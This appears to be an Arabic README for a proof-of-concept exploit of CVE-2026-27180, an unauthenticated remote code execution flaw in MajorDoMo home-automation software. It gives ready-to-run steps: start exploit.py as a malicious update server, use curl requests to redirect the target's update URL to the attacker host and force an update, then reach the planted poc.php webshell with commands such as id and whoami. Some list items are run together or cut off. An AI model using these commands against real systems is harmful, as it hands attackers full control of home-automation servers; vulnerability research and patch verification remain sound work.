
إثبات مفهوم لاستغلال CVE-2026-27180، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) غير مصادق عليها في MajorDoMo عبر تسميم عنوان التحديث، مما يؤدي إلى تسليم قشرة ويب إلى جذر الويب.
تنفيذ كود عن بُعد غير مصادق عليه عبر تسميم رابط التحديث في MajorDoMo
CWE-494 – تنزيل كود بدون فحص التكامل
الأثر: اختراق كامل للخادم عبر وضع webshell في جذر الويب
المصادقة المطلوبة: لا شيء
التصحيح: PR #1177
يحتوي هذا المستودع على استغلال إثبات المفهوم لثغرة CVE-2026-27180 – وهي ثغرة حرجة لتنفيذ كود عن بُعد غير مصادق عليه في برنامج MajorDoMo لأتمتة المنازل الذكية.
يمكن للمهاجم:
توجد الثغرة بسبب:
auto_update_settings و force_updateCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccess اختياري لفرض تنفيذ PHPgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# لا حاجة لتثبيت pip – يستخدم فقط المكتبة القياسية + argparse
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
شغّل الخادم الخبيث:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
بعد بدء الخادم، نفّذ هذه الأوامر ضد الهدف:
# 1. تسميم مصدر التحديث
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. تشغيل التحديث القسري
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
انتظر من 10 إلى 90 ثانية، ثم اختبر الـ webshell:
# أمثلة:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
يُقدَّم هذا الكود لأغراض تعليمية صارمة، واختبارات أمنية مصرح بها، وأنشطة الفريق الأحمر.
رخصة MIT
حقوق النشر © 2026 Mohammed Idrees Banyamer
يُمنح الإذن مجانًا لأي شخص يحصل على نسخة من هذا البرنامج والملفات المرتبطة به ("البرنامج") للتعامل مع البرنامج دون قيود، بما في ذلك دون حصر حقوق الاستخدام والنسخ والتعديل والدمج والنشر والتوزيع والترخيص من الباطن و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين يُقدَّم لهم البرنامج بذلك، وفقًا للشروط التالية:
يجب تضمين إشعار حقوق النشر أعلاه وإشعار الإذن هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.
يُقدَّم البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال لا يكون المؤلفون أو أصحاب حقوق النشر مسؤولين عن أي مطالبة أو أضرار أو مسؤولية أخرى، سواء في إطار عقد أو ضرر أو غير ذلك، تنشأ عن أو بسبب أو فيما يتعلق بالبرنامج أو الاستخدام أو التعاملات الأخرى في البرنامج.